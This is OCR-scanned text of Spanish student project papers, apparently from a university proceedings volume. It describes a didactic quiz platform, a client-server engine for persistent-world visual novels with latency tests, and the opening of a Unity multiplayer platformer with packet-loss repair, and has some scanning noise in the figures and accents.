patrén de disefio.

Nivel o capa de acceso a datos

Nivel o capa de negocio
servicios

|

Se envia la pagina HTML solicitada &

Interfaz

Fig. 2. Esquema de la arquitectura implementada en BeeQuizz

1) Capa de acceso a los datos 0 DAO

Esta es la capa que est4 en comunicacion directa con la base
de datos y con la capa negocio. Se encarga de recuperar,
registrar o actualizar la informacién de la base de datos bajo
demanda de la capa superior, haciendo uso de las peticiones y
demandas SQL, de forma que el tipo de acceso sea
transparente al resto de capas.

2) Capa de negocio

En la capa de negocio se encuentra la inteligencia de la
aplicacion. Es aqui donde se gestiona la l6gica de Beequizz y
se realizan los tratamientos necesarios sobre los objetos
recuperados de la base de datos. Esta comunicada con el
controlador que es de donde recibe las solicitudes y donde
presenta resultados y beequizz.dao a los que solicita o da los
datos necesarios para satisfacer la demanda del controlador.

3) Controlador

Se encarga de gestionar el flujo de la aplicacién Gracias al
envio de datos a través de HTTP vy a la recepcion de
peticiones se comunica con el usuario. El controlador va a
pasar esta informacién al servicio que hara las operaciones
necesarias y devolvera una informacién al controlador que
sera igualmente el encargado de mostrar esta informacion al
usuario.
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4) Interfaz
Permite al usuario interactuar con el sistema.

C. Juegos

Uno de los objetivos principales de la plataforma era poder
gestionar y usar de forma didactica. Por lo tanto, se han
disefiado dos juegos (uno mono-jugador y otro multi-jugador)
que podrian como método de evaluacion de los alumnos.

1) Simple Quizz (Juego mono-jugador)

La idea principal era poder utilizar las preguntas que estan
almacenadas en la plataforma como base de los juegos. Para
ello se pensd en realizar un juego del estilo de 50x15, al que
se llamara Simple Quizz y cuyo diagrama se observa en la
figura 3.

INCIAR JUEGO

ELEGIR TEMA. NIVEL ¥ NUMERD DE
PREGUNTAS

COMTESTAR PREGUNTAS

uLmmMA
NO PREGUNTA

PUNTUACION

Fig. 3. Diagrama de flujo de Simple Quizz

El objetivo de este juego es conseguir el mayor nimero de
puntos posibles, contestando a un numero determinado de
preguntas. Estas preguntas corresponden a un tema y nivel de
dificultad elegido por el jugador. Cada una de las preguntas
tiene asociadas 4 respuestas, de las cuales tan solo una es
correcta. Al acabar la ronda la puntuaciéon obtenida se
almacena en la plataforma y sirve al profesor para evaluar los
conocimientos sobre el tema elegido.

2) Simple trivial (Modo multi-jugador)

Simple Trivial es un juego que sigue la linea del Simple
Quizz pero que difiere con él en algunos detalles. Su
diagrama de flujo se puede observar en la figura 4. EI mas
importante de ellos es que este juego es multijugador.

ELEGIR PARTIDA
EMPEZADA

PARTIDA

ACABADA MITURNO o

Fig. 4. Diagrama de flujo de Simple Trivial

Al igual que Simple Quizz, Simple trivial se basa en las
preguntas ya almacenadas en la base de datos para su
desarrollo. El usuario debe elegir un tema y un nivel de
dificultad. A continuacidn, el usuario debe seleccionar a sus
adversarios. La plataforma notifica a dichos adversarios
mediante un correo electronico que alguien quiere jugar
contra ellos.

El jugador empieza la partida, una vez que haya elegido a
sus adversarios. Al contestar una pregunta de manera
incorrecta, el usuario que esta jugando cede el turno al
siguiente jugador. A diferencia de Simple Quizz, este juego
no puede ser usado para la evaluacion de los alumnos ya que
el objetivo es llegar a 100 puntos.

V. IMPLEMENTACION DE BEEQUIZZ

A. Registro, identificacion y pagina principal.

Para acceder a la plataforma es necesario estar registrado,
por lo que la pagina de acceso tiene ademas de la zona de
identificacion un espacio dedicado al registro de un nuevo
usuario (Figura 5). Gracias a Spring Security todo usuario
que quiera acceder a cualquier pagina de la plataforma sin
estar identificado es enviado a la péagina de identificacion.
Una vez que el usuario ha sido registrado e identificado se
accede a la pagina principal de BeeQuizz donde se pueden
encontrar las distintas categorias que hay en la aplicacion:
Gestion de preguntas y Respuestas, Administracién, Juegos,
Estadisticas y Mi perfil.
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™ BeeQuizz

o ] =

Fig. 5. Pagina de registro e identificacion de BeeQuizz

B. Gestion de preguntas y respuestas

En esta seccidon el usuario va a poder introducir las
preguntas y respuestas a la plataforma. Las preguntas estan
asociadas a un tema y a una dificultad. Para poder introducir
respuestas en la base de datos, hay que elegir primero la
pregunta para la que se desea introducir la respuesta y a
continuacion introducir el numero de respuestas deseadas
para dicha pregunta.

C. Administracion de la plataforma

Esta seccién es solamente accesible para los usuarios cuyo
rol sea Administrador. Ademas solo estara disponible cuando
se esté conectado con un ordenador. Consta de cuatro blogques
bien diferenciados que son: validar o modificar preguntas,
validar o modificar respuestas, suprimir preguntas o
respuestas e incluir juegos.

D. Mi perfil

En esta seccidn el usuario podra modificar si lo desea, todos
los datos relacionados con su perfil.

E. Estadisticas

El usuario puede consultar para cada uno de los juegos
existentes en la plataforma la clasificacién general, asi como
las partidas ganadas por él.

F. Juegos
1) Simple Quizz
Este juego esta pensado exclusivamente para un jugador.
Consiste en contestar de forma correcta el mayor nimero de
preguntas. ElI nimero de preguntas lo elige el usuario al
principio del juego. También se elegira el tema o la
asignatura y el nivel al principio del juego. Las diferentes
etapas que se han seguido en la implementacidon del juego son
las siguientes:
- Se elige el nivel, el tema, la dificultad y el
ntmero de preguntas.
- Se crea la partida.
- Se recupera la lista de preguntas que van a ser
usadas de manera aleatoria.

- Se carga la pagina que contiene los check-box.
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- Se recupera el contenido de las preguntas como
de las respuestas asociadas a ellas.

- Se validan las respuestas.

-Si no hay mas preguntas se muestra la
puntuacion.

- Se termina la partida.

Simple trivial

un juego de prueba multijugador. Consiste en llegar a
guir 100 puntos antes que los adversarios. Desde la
1a principal de este juego se puede empezar una nueva
Ja 0 acceder a una ya empezada. A continuacion se van a
lar las diferentes etapas en las que se divide el juego.

- Se elige el nivel, el tema, la dificultad y el
namero de preguntas.

- Creacién de la partida (asociada al jugador que
empieza la partida)

- Creacién de la lista con todos
registrados en la plataforma.

- Envio de notificaciones.

- Creacion de la partida (asociada a los
contrincantes)

- Antes de empezar a jugar se comprueba si es el
turno del usuario que va a jugar.

- Después de haber hecho las comprobaciones, de
haber verificado que era nuestro turno y que la
partida no est4 acabada se empieza el juego.

- Se recupera la lista de preguntas que van a ser
usadas de manera aleatoria.

- Se recupera el contenido tanto de las preguntas
como de las respuestas asociadas a ellas.

- Validacion de las respuestas.

- Asignacion del turno.

- Se verifica si la partida esta terminada.

- Se muestran los puntos.

los usuarios

G. API

Como se ha indicado anteriormente uno de los objetivos
principales de la plataforma era poder usarla como
plataforma de juegos. Para esto se implementaron una serie
de métodos que van a permitir a cualquier persona que desee
desarrollar nuevos juegos poder utilizarlos. Algunos ejemplos
son:

- Recuperar la lista de preguntas

- Recuperar el contenido tanto de las preguntas
como de las respuestas.

- Guardar la respuesta a una pregunta.

- Recuperar la puntuacion global.

VI. CONCLUSIONES Y LINEAS FUTURAS.

A. Conclusiones y resultados

Se ha conseguido desarrollar una plataforma, que sigue una
s6lida arquitectura software, un protocolo extensible y bien
definido para la comunicacion, y una APl que permite
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extender el sistema, que facilita el uso de juegos para
aprender o reforzar los conocimientos adquiridos. Ademas de
la plataforma, se proporcionan dos juegos de ejemplo, que
demuestran el uso de la API disefiada. Todo esto usando en
todo momento las tecnologias mas demandadas en este
momento como es el caso de HTML5, para permitir el
desarrollo de interfaces graficas multiplataforma, y servicios
web para permitir el acceso a sus funciones desde cualquier
tecnologia.

N 8 g =
N = =
3 g g g
o =
a z a =
Gratuito
Multiplataforma x
Méviles X
Juegos x x x
Libre acceso x X x
Participativo x x
API X X X

Tabla 1. Comparativa de las funcionalidades

En la tabla 1 se presenta una comparativa de las
funcionalidades ofrecidas por las aplicaciones estudiadas en
el estado del arte frente a las caracteristicas que ofrece
BeeQuizz.

B. Lineas futuras

Una de las grandes ventajas que presenta esta plataforma es
que es totalmente gratuita y esta abierta a todo el mundo. A
pesar de todo esto, BeeQuizz puede evolucionar todavia un
poco mM&s y ganar puestos en su dominio. Para ello se han
detectado una serie de servicios o funcionalidades que habria
gue implementar y que se exponen a continuacion.

- Maés seguridad: Para evitar los ataques con los
gue se pueden conseguir informacion confidencial
de la web es necesario configurar el servidor para
que obligue a usar el protocolo HTTPS (Hyper Text
Transfer Protocol Secure).

- Insercién de juegos externos:
posibilidad de  agregar  juegos
implementados en HTML5

- Insercién de un gran nOimero de preguntas y
respuestas mediante la carga por lotes de ficheros
XML.

- Implantacion y Evaluacion. Se podria llevar a
cabo la implantacién de BeeQuizz en algunas de las
asignaturas impartidas en la Universidad de
Granada.

Agregar la
externos,
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Resumen— En este trabajo se ha disefiado, implementado y
evaluado un motor de novelas visuales en linea con universo
persistente. El motor desarrollado consta de una parte cliente y
otra servidora multiplataforma. Para ello, se han disefiado dos
esquemas de mantenimiento de la consistencia del estado del
juego percibido por los jugadores, el protocolo de comunicacion
entre cliente y servidor, y un formato de scripting para que otros
desarrolladores de juegos puedan definir novelas visuales de este
tipo. Ademads, se ha desarrollado un entorno experimental
automatizado para evaluar el rendimiento de las estrategias de
mantenimiento de consistencia del estado del juego, y se ha
implementado la que ofrece menor latencia.

El motor ha sido desarrollado en Java con soporte de la
libreria de videojuegos multiplataforma LibGDX, por lo que
puede ser facilmente portable a mdviles y otras plataformas.
Ademas, hasta donde el conocimiento del autor alcanza, no
existen en el mercado motores para este tipo de juegos, por lo que
este trabajo se puede considerar como una propuesta novedosa.

Palabras clave—aventura grafica, cliente-servidor, java,
libgdx, motor, multijugador, novela visual, online, universo
persistente, videojuego.

I. INTRODUCCION

En la actualidad, el mercado de los videojuegos ha superado
al de cualquier otra forma de ocio, incluyendo el cine, gracias
a la interactividad y al gran espectro de clientes potenciales
que se expande de forma continua gracias al mercado de las
tablets y smartphones, asi como de la presencia continua de los
ordenadores personales, por lo que se ha considerado una
buena via de trabajo para este TFG.

En las primeras fases de disefio de este trabajo se ha
considerado por qué podria ser interesante la propuesta: si bien
la narrativa de una aventura gréfica y la interaccién del jugador
con el entorno es suficiente como para crear un videojuego se
busca un elemento diferenciador en el que el mismo entorno
sea algo cambiante y persistente, de forma que la experiencia
del jugador varie en funcion del estado de la entidad que sera
el servidor.

Para ello, habra que cumplir con los siguientes objetivos:

e Creacion del motor (servidor y cliente)

e  Posibilidad de que sea multiplataforma, ya que se
quiere cubrir la mayor parte del mercado posible.

e Interfaz clara e intuitiva para facilitar la tarea a los
jugadores.

e Sistema sencillo de scripting para facilitar a los

desarrolladores intermedios
e Que sea ligero en transmisién de datos y de baja
latencia.

1. DISENO

Tal y como se disefia nuestro motor, se busca un modelo
cliente-servidor con funciones diferenciadas, si bien ambos
contardn con una base de datos. En resumidas cuentas, el
cliente contara con la interfaz final mientras que el servidor
cederd o no los permisos pertinentes para que el cliente avance
de una u otra forma por el juego en funcion de la situacion del
servidor.

El servidor mantendrd la persistencia del mundo,
manteniendo a todos los jugadores en su base de datos asi
como diversas Flags, que seran las variables de estado. Por su
parte, el cliente solo necesitard conocer lo necesario para
ejecutar las acciones pertinentes con el menor intercambio de
datos entre ambas entidades posible.

SERVIDOR

Actualizacion eventos
CLIENTE Base de datos:
-NPCs
-Mapas
-Objetos
-Conversaciones

Base de datos:
-NPCs

-Mapas

-Objetos

-Jugadores
-Conversaciones
-SFlags

-Condiciones Hablar
-Condiciones Usar
-Condiciones Examinar

Motor Grafico Gestion de usuario

Interfaz

Conexion servidor

Volcado y copia de seguridad

Fig. 1. Disefio bésico de la estructura del cliente y el servidor.

Desde un punto de vista general, se consideraran dos grandes
blogues en el disefio de nuestro motor: el que toma relacion
con el cliente y el que hace referencia al servidor. Para ello, se
“centralizard” nuestra vision en dos clases basicas: la clase
Main (que inicializard MainGDX, la interfaz grafica de nuestro
cliente) y la clase Server, que, como su propio hombre indica,
hara las veces de servidor, gestionando mediante hebras las
conexiones de los diversos clientes y las actualizaciones de
estado de las variables del servidor (como pueden ser la fecha,
hora y tiempo atmosférico).

El resto de la infraestructura légica sera compartida, ya que
ambos agentes requieren la informacion de los diversos
elementos que participan en el motor.
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Fig. 2. Disefio basico de clases.

A. Estructura de clases

De acuerdo con la Fig. 2, se implementaran las siguientes
clases:

+ Clases de cliente:

0 Main: Realiza la inicializacién del motor grafico.

0 MainGDX: Gestiona todas las peticiones, operaciones de
entrada y salida y frontend del usuario, encargdndose de todas
las interfaces de entrada/salida y motor gréfico.

» Clases de servidor:

o Server: Gestiona el servidor, su base de datos y
proporciona las herramientas necesarias para operar sobre ella.

0 ServerThread: Gestiona las conexiones. Abre una hebra
ClientProcessThread en cada conexion.

o ClientProcessThread: Responde las peticiones de cada
uno de los usuarios.

0 ServerEventsThread: Actualiza de forma periddica las
variables del servidor como la fecha, hora y tiempo
atmosférico.

0 BackupThread: Toma una copia de seguridad de la base
de datos del servidor. Se trata de una funcion critica, ya que en
caso de caida del servidor requerimos contar con la ultima
version de la base de datos para minimizar la pérdida de
informacioén

+ Clases comunes al cliente y al servidor:

o Conversation: Representa cada una de las conversaciones
sobre las que se desarrolla el juego en cuestion. El servidor
contara con una lista de requisitos para acceder a cada una de
las conversaciones.

0 NPC: Representa a un NPC (Non-Playable Character)
que realizara acto de presencia durante una conversacion dada.
Generalmente tendré asociado un nombre y un grafico.

0 Map: Representa un escenario de la aventura gréafica.
Contara con una lista de requisitos (objetos en inventario y
flags activadas) para acceder.

0 Item: Representa un objeto que podra formar parte del
inventario de un jugador. Dicho objeto contara con un nombre
y una descripcion.

0 Player: Representa a un jugador, almacenando toda su
informacion, como lista de flags, inventario y datos
personales. Contendr& un campo hash que se calculara a partir
del resto de sus datos para mantener la coherencia entre la
copia del cliente y la que puede tener el servidor

0 Flag: Representa una variable de estado concreta. Puede
tratarse de una variable inherente al jugador o de una global.
Existiran variables a nivel de jugador y a nivel global (SFlags)

B. Mantenimiento de la coherencia

El mayor problema que puede encontrarse en este modelo es
la forma de mantener una coherencia entre la base de datos del
cliente con la remota del servidor con el menor tréfico de datos
posible, ya que para mantener una mayor sensacion de vida en
el universo de juego nos interesa que los retardos de debidos a
la comunicacién sean minimos (y, en caso de que la conexién
del cliente sea limitada, que pueda conectarse sin consumir una
gran cantidad de datos).

El problema ha sido afrontado haciendo que todos los
calculos se realicen de forma local y lo Unico que se transmitan
sean las solicitudes y confirmaciones, minimizando asi los
mensajes y comprobando que el hash de cada jugador sea el
mismo tanto en cliente como en servidor en cada transaccion
de informacién que pueda inducir a un cambio para garantizar
que se mantenga una coherencia.

Inicialmente se considerd hacer que el servidor generara todo
para disminuir la carga de procesado del terminal final para
hacerlo compatible con dispositivos anteriores pero finalmente
se considerd que cargaria mucho al servidor y seria un gran
golpe contra la escalabilidad, por lo que se abogd por un
procesado compartido.

C. Disefio de la interfaz de cliente

La interfaz de un producto creado con este motor tendra la
distribucion que se indica en la figura que sigue:
q

5114 p-‘ sl _7_‘1}

Fig. 3. Interfaz de un juego gerado con el motor.

Con los siguientes apartados destacados:

1. Imagen del personaje no jugador (NPC) que nos habla.
Puede hallarse vacia si no hay texto en pantalla o el que se nos
presenta es fuente de una figura invisible (como el narrador o
el propio jugador).

2. Didlogo en pantalla. Incluye, en la parte inferior, el
nombre del NPC que nos lo da.

3. Menu del jugador. Incluye:

a. Una opcidn para desplazarse. Nos abrird un submenu en
el que elegir de entre las opciones disponibles, que a su vez
nos proporcionara informacién y una confirmacién. Se ha
decidido esta interfaz para ser la mas simple, clara e intuitiva,
especialmente de cara al usuario de dispositivos moviles
gracias a un control plenamente tactil y no invasivo.
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b. Una opci6n para mantener una conversacion.

c¢. Una opcion para usar un objeto de nuestro inventario, que
funcionara de forma analoga a la de desplazamiento.

d. Una opcidn para examinar el entorno.

4. Boton de informacion. Nos proporciona el estado del
servidor en una pequefia tabla arriba a la derecha.

5. Bot6n para avanzar la conversacion activa. Al hacerlo,
podremos llegar a un menu en el que elegir la opcion de
didlogo deseada.

Desde el punto de vista del usuario final (véase, el jugador),
se ha apostado por una interfaz de la mayor simplicidad
posible.

D. Gestion del acceso concurrente

Hemos de garantizar que no haya colisiones a la hora de
modificar y leer informacidn de servidor. Como las variables
de cada jugador s6lo pueden ser modificadas por él mismo y
la base de datos de los elementos del mundo como personajes
y objetos disponibles sélo podran ser editadas por el
desarrollador de la aplicacién final, nos centraremos en un
aspecto critico: las SFlags.

Inicialmente se consideré que, dada la naturaleza de una
aventura grafica no habria que tener excesivo recelo en ese
aspecto, ya que hablamos de baja concurrencia y tréafico bajo.
No obstante, para garantizar un funcionamiento de mayor
calidad, se ide6 proteger esa concurrencia mediante
seméaforos. Antes de hacer una prueba de carga alta se
considerd que la gestion del acceso concurrente se podria
Ilevar a nivel global, dado el bajo numero de solicitudes en una
aplicacion de esta naturaleza. Por otro lado, y para cubrir de la
forma més correcta posible este disefio, se consider6 distribuir
el control a cada una de las variables (en lugar de asignar un
solo semaforo al conjunto de variables, algo que podria afiadir
mayores retardos al acceder concurrentemente a varias
variables), llevandonos a que las peticiones a distintas
variables podrian responderse simultaneamente sin afectar a la
coherencia.

E. Protocolo

Desde un punto de vista bésico, el protocolo se ha
simplificado para que sélo transporte permisos (por ejemplo,
si un mapa deberia estar accesible o qué conversacién ha de
tener lugar). Solo se transportard informacion de mayor
tamafio en el registro de los usuarios y en la secuencia de login.

Eso permite que la transmision de datos se minimice y el
coste computacional del cliente se reduzca en gran medida,
algo critico si se emplea el motor en sistemas de menor
capacidad como tablets o netbooks.

Se contara, entonces, con cinco tipos de secuencia:

. Secuencia HELLO: Inicializa la conexiéon con el

servidor.

e Secuencia GETCONVER, USEITEM, EXAMINE:
Obtiene el niumero de la conversacion en funcion de la
situacion del usuario y el servidor.

. Secuencia ITEMADD, ITEMRM, EDITFLAG:
Modifica el inventario o los flags del jugador.

*  Secuencia MAPAVAIL: Comprueba si el jugador tiene
permisos para acceder a un mapa.

*  Secuencia SERVERSTATUS: Pide el estado (fecha,
hora, tiempo atmosférico) del servidor.
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I1l. IMPLEMENTACION

La implementacion completa del proyecto se ha llevado a
cabo empleando el lenguaje de programacion Java, con la
ayuda de la libreria LibGDX, un proyecto de software libre
basado en el lenguaje Java que cuenta con la principal ventaja
de permitirnos exportar nuestro proyectos a sistemas Android,
i0OS, HTMLS5 y sobremesas, lo que la hace candidata perfecta
a nuestro proyecto.

Para garantizar la concurrencia y que se acceda de forma
correcta a los datos, se empleard un seméaforo por cada
variable de estado. Inicialmente se consideré usar un
semaforo para todo el sistema, pero como se apreciara en el
punto IV, atomizar la operacién nos proporciona mejores
resultados.

IV. EVALUACION

A. Latencia

Para evaluar de una forma fidedigna nuestro sistema,
realizaremos nuestras medidas mediante un bot que simula un
alto nimero de usuarios y peticiones (alcanzando varios
cientos de miles de peticiones en algo menos de 40 segundos),
algo que requeriria una base de usuarios activos de miles de
personas para darse en un escenario real.

Aun asi, nos puede servir para demostrar que este disefio
nos proporciona una alta escalabilidad, ya que el tiempo de
respuesta para un nimero alto de peticiones simultaneas no
alcanza el medio segundo de tiempo de procesamiento.
También podemos demostrar a partir de esto que tampoco
proporciona mucha carga al servidor, ya que el mismo equipo
personal (Intel Core i3-2350M @ 2.30GHz, 4GB RAM) ha
podido soportar el servidor junto a los clientes automatizados
(bots) sin afrontar una carga notable extra.

Para estudiar como afecta para el tiempo de acceso en
funcién del nimero de usuarios activos (para la simulacion se
mantuvo un nimero constante de mensajes por usuario). Estos
usuarios intentardn competir por la modificacion de diez
SFlags distintos con probabilidad igual para cada uno de ellos,
una prueba que realizamos mediante un pequefio programa
que registra a un namero (fijado manualmente) de usuarios
que envian una serie de peticiones elegidas aleatoriamente
entre acceso a diversas flags. Medimos el tiempo medio de
acceso para cada una de las flags para una decena de
experimentos y obtenemos, de media los la siguiente
informacién:

Tiempo medio de respuesta frente a nimero de usuarios

0,8

0,7 Y = 6E-05x1°158

06
0,5
04
0.3 y = 0,0004x - 0,0153

02 | R*=0,9862

Tiempo medio respuesta (s)

01

0,0
01 0 50 100 150 200 250 300 350 400 450 500
’ Usuarios

T.M.A. (Atomizado) o T.M.A.

Fig. 4. Medidas de latencia.

Lineal (T.M.A. (Atomizado)) Potencial (T.M.A.)

Podemos apreciar que, para una misma carga, los valores
en el caso en el que se considera atomizar los seméaforos son
mucho mas favorables para nosotros. Eso se debe a que, al



J. Escamez Alvarez (tutor J.J. Ramos Mufioz): Disefio de un motor para aventuras gréficas de universo persistente

contar con un solo seméaforo regulamos todas las peticiones
una a una, mientras que en el supuesto de atomizar la
operacién cada SFlag tendra su semaforo para regular el
acceso. Eso hace que una respuesta que se puede aproximar
mediante ajuste lineal a una potencial (gréafica roja) se torne
una que se puede aproximar a una lineal (gréafica azul).

B. Tréfico Generado

Desde el punto de vista de la conexién de datos, hemos
empleado RawCap para obtener las trazas de datos en la
interfaz loopback para conocer el trafico en diversos
supuestos. Se ha utilizado en este caso un solo jugador que
utiliza una partida de prueba para capturar los datos.

A modo ilustrativo y extrapolando, en el mas comun de los
casos implicaria una tasa de transferencia de subida de 14
bytes al segundo mientras que la bajada sera de 4 bytes al
segundo, lo que es perfectamente asumible para una conexién
de datos de un dispositivo mévil, tanto por la cantidad como
por la tasa requerida.

No obstante, es de interés remarcar que estas medidas
dependen en gran medida del disefio del juego y del jugador
en cuestion. De todas formas, esa variacion no sera
excesivamente significativa porque los tipos de operaciones
seran las mismas ya que vienen dictadas por el motor.

V. CONCLUSIONES Y TRABAJO FUTURO

A lo largo de este proyecto se ha conseguido crear un
sistema que permite la generacion de forma sencilla de
novelas visuales en red a partir de unos ficheros de
configuracion que gracias a la libreria libgdx pueden portarse
a sistemas moviles y sobremesa de forma sencilla.

Se ha logrado mantener la consistencia del mundo
mediante un protocolo simple y ligero (para minimizar el uso
de datos) e implementado de una forma escalable, sencilla y
que proporciona una calidad de juego a un nimero alto de
usuarios sin requerir una computadora de gran potencia como
servidor.

Finalmente, sera de interés tratar unas consideraciones y
unas posibles mejoras que podrian ser llevadas a cabo para
mejorar la experiencia tanto del desarrollador como del
usuario final:

En primer lugar, y de nuevo haciendo referencia a la
filosofia eAthena de la que ya se ha hablado, una mejora
interesante desde el punto de vista de la funcionalidad y la
optimizacion de recursos seria emplear una base de datos SQL
(por ejemplo, haciendo uso de la libreria auxiliar gdx-sqlite)
en lugar de una en texto plano. Ese cambio también traeria
consigo una mayor facilidad a la hora de disefiar una API, por
ejemplo, para mostrar las estadisticas de un servidor concreto
mediante una pagina web.

También se ha considerado como mejora relevante un
sistema de referencias para hacer la experiencia final mas
personalizada. Por ejemplo que en determinadas lineas de
didlogo se mencione al jugador por su nombre registrado o
que algunos dialogos varien en funcién del sexo del jugador,
por ejemplo.

Otra mejora importante seria la integracion de efectos
graficos (por ejemplo, fundidos a la entrada o salida de los
personajes), asi como soporte para efectos sonoros, clips de
voces y musica de fondo, dando una sensacién mas fresca y
menos mecanica que la apuesta actual. También se ha

considerado (y de hecho la estructura esté preparada para ello)
asociar un grafico a cada objeto. No obstante, las limitaciones
de tiempo han impedido implementar esta funcionalidad.

También, en aras de simplificar la tarea a los
desarrolladores seria interesante la creacion de un entorno
grafico en el que modificar las bases de datos en tiempo real,
asi como la generacion de eventos programados y el
autodisparo de conversaciones en determinadas situaciones
para dotar de mas potencia al gestor del juego y una
experiencia mas completa al jugador en Gltima instancia.

Desde el punto de vista del protocolo, una mejora
potencialmente interesante consistiria en lugar de comprobar
uno por uno los permisos de los mapas se envie desde el
cliente la lista de mapas a la que se intenta acceder y se
responda a cudles de ellos tiene permitido el acceso, lo que
reduciria el nimero de mensajes que hay que enviar y recibir
a coste de hacer uno de mayor cantidad de datos.
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Resumen—En el proyecto se ha llevado a cabo el disefio y la
implementacion de un videojuego multijugador de plataformas
de tipo cliente-servidor, con un maximo de 4 jugadores
conectados simultaneamente. Para ello se ha utilizado la
plataforma de programacion de videojuegos Unity, utilizando el
lenguaje C#. Se ofrece también la posibilidad de que el
dispositivo donde se ejecuta la aplicacion ejerza como servidor o
como cliente. Se ha realizado también un estudio de como afecta
la pérdida de paquetes en la aplicacion desarrollada, ademés de
construir un sistema simple para la reparacion de pérdidas de
paquetes escrito en el lenguaje Java.

Palabras clave— Aplicacion, C#, Java, multijugador, proxy,
reparacion de pérdidas de paquetes, Unity, videojuego de
plataformas, Java.

. INTRODUCCION

N los altimos afios, videojuegos se han convertido en la

principal industria de ocio audiovisual interactivo,
superando al cine y a la mdsica. Segun los datos registrados
por la firma PricewaterhouseCoopers [1], el valor del
mercado mundial del videojuego ascendié a 56000 millones
de euros en 2010, y se prevé que crecera hasta los 82000
millones en 2015.

Para los videojuegos en linea se suele exigir una calidad de
servicio que en ocasiones las redes IP no son capaces de
satisfacer. De esta forma, los jugadores podrian tener una
experiencia de juego incomoda, lo que hace que no se
disfrute del todo del videojuego.

En el proyecto se ha realizado el disefio e implementacion
de un videojuego multijugador en linea de plataformas en
tiempo real. Este tipo de videojuegos en tiempo real son
extremadamente sensible a retardos y a pérdidas, por lo que
también se ha disefiado e implementado un mecanismo
simple de reparacién de pérdidas de paquetes para tratar de
solventar este tipo de problemas en redes con entornos
ruidosos.

Il. REVISION DE ESTADO DEL ARTE

A. Videojuegos similares en el mercado

Existen numerosos videojuegos que responden a las mismas
caracteristicas del juego que se ha implementado durante el
desarrollo del proyecto. Entre ellos, encontramos videojuegos
como 2 Fast 4 Gnomz [2], el cual a pesar de tener la misma
tematica del videojuego Run Run Bunny, no tiene funciones

de red, y es de un solo jugador. Sonic Dash [3] y Wind
Runner son juegos de velocidad y plataformas con funciones
de red, pero sélo para compartir récords con otros usuarios de
otras partes del mundo. Encontramos un videojuego llamado
Speed Runners [4], el cual posibilita la competicién entre
varios usuarios en linea, con la misma temaética de videojuego
de plataformas de velocidad.

B. Motores de juego y librerias especializadas

Para el desarrollo e implementacién de videojuegos, hoy
dia existen herramientas que nos facilitan el trabajo. Este es
el caso de los motores de juego y las librerias especializadas.

Los motores de juego son entornos de desarrollo con un
interfaz relativamente sencillo dedicados a facilitar al usuario
el desarrollo de videojuegos completos. Entre los motores de
juegos, destacan tres: GameMaker: Studio [5], Unreal Engine
[6] y Unity [7]. El primero de ellos esta orientado a usuarios
que no estan habituados a la programacion, utilizando un
interfaz bastante sencillo basado en una técnica de “arrastrar
y soltar”. En cuanto a Unity y Unreal Engine, ambos son
motores de juegos mas avanzados, y de entre ambos se ha
elegido Unity, ya que presentaba un tiempo de produccion
mas eficiente.

En cuanto a las librerias especializadas, cabe destacar
LibGDX [8], una libreria escrita en Java especializada en el
desarrollo de videojuegos. Con esta libreria se hizo el primer
intento de programacién del videojuego, pero tras varios
meses de lento avance, se desecho la idea y se comenzd
desde cero la programacion definitiva en Unity.

C. Técnicas de reparacion de pérdidas

Como ya se ha mencionado con anterioridad, en los juegos
en linea con requisitos de tiempo real es importante que la
comunicacion sea consistente. Existen varias técnicas de
reparacion de pérdidas de paquetes. Este tipo de técnicas
pueden dividirse en dos tipos [9]: técnicas preventivas, las
cuales actlia en prevision de que posteriormente pueda haber
pérdidas en la comunicacion, y técnicas reactivas, las cuales
actlian una vez ya ha sido detectada la pérdida de un paquete.

De entre los distintos mecanismos de reparacion de
pérdidas de paquetes que existen, se destacan a continuacion
tres de ellos:

e Retransmision automatica: Una vez se ha detectado la
pérdida, el elemento de la red que detecta la pérdida
solicita al emisor que vuelva a reenviar el paquete
perdido. Es por tanto una técnica de reparacion
reactiva.
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e Prediccion por el lado del cliente (Dead Reckoning):
Para mitigar el efecto de la latencia, el cliente predice
de forma local el estado del juego anticipandose a la
respuesta del servidor. Se trata de una técnica
preventiva.

e Correccion de errores hacia delante (FEC): Se agrega
redundancia a la comunicacién para hacerla més
consistente. Nos encontramos por tanto ante una
técnica de reparacion preventiva.

I1l. TEMPORIZACION Y COSTES

Se expone a la planificacion temporal para llevar a cabo las
distintas tareas que componen el proyecto, asi como una
estimacion del coste del mismo.

El proyecto se ha dividido en 8 bloques de tareas: analisis
del problema y especificacién de los objetivos, revision del
estado del arte, estimacion de costes, disefio,
implementacion, correccion de errores y bugs, estudio del
impacto de la pérdida de paquetes y del trafico generado
por Unity, y documentacion del proyecto. En la Fig. 1 se
muestra el diagrama de Gantt de las distintas tareas citadas
anteriormente. El proyecto se ha desarrollado entre el 11 de
julio de 2014 y el 12 de septiembre de 2014.

En cuanto al coste estimado del proyecto, éste puede
observarse en la Tabla I.

IV. DiseNo

Se expone a continuacion el disefio propuesto tanto para el
videojuego multijugador como para el mecanismo de
reparacion de pérdidas de paquetes.

A. Historia y funcionamiento del videojuego Run Run Bunny

Run Run Bunny estara protagonizado por uno 0 mas
conejos, los cuales deberan huir de un gran camion que se ha
adentrado en el bosque, esquivando obstaculos y evitando ser
atropellados hasta ponerse a salvo en una cueva en la que
dicho camion, por su gran tamafio, no sera capaz de entrar.
Mientras huyen, podran coger zanahorias que se encuentran
repartidas por el camino.

En la Fig. 3 puede observarse un esquema con el diagrama
de estados del videojuego. Al iniciarlo, se mostrard un menu
principal, en el que se podra elegir si ejercer como servidor o
como cliente. En caso de elegir iniciar el servidor, el juego
entrard en un estado de espera en el que actuard como
servidor, haciéndolo todo de forma automaética, por lo que el
usuario solo tendra la opcion de desconectar el servidor y
volver al mend principal.

11/0721/0731/0710/08 20/08 30/0809/09

Analisis del problema y..2
Revision del estado del arte |16
Estimacion de costes 2

Disefio jr

Implementacion 48

Correccion de errores y bugs 1

Estudio del impacto de la.. 14

Documentacién del proyecto: 61

Fig. 1. Diagrama de Gantt del proyecto

Al conectarse a un servidor previamente inicializado, el
usuario pasara a una sala de espera donde se mostrard la lista
del resto de usuarios conectados al mismo servidor. En el
momento en que el primer jugador que entr6 en la sala de
espera haga clic en el botdn de comenzar la partida, el juego
comenzaré para todos los jugadores que estuvieran en la sala
de espera.

TABLA |
ESTIMACION DE COSTES
COSTE
RECURSO CANTIDAD POR
UNIDAD(€)
Horas de trabajo 378 25
Ordenador portatil con Windows 7 1 500
Ordenadores portéatiles para testeo
- 2 500
con Windows 7
Conexion a internet (2 meses) 30/mes
Paquete Microsoft Office 1 60
Adobe Photoshop CS5 1 40
Analizador de paquetes Wireshark 1 0
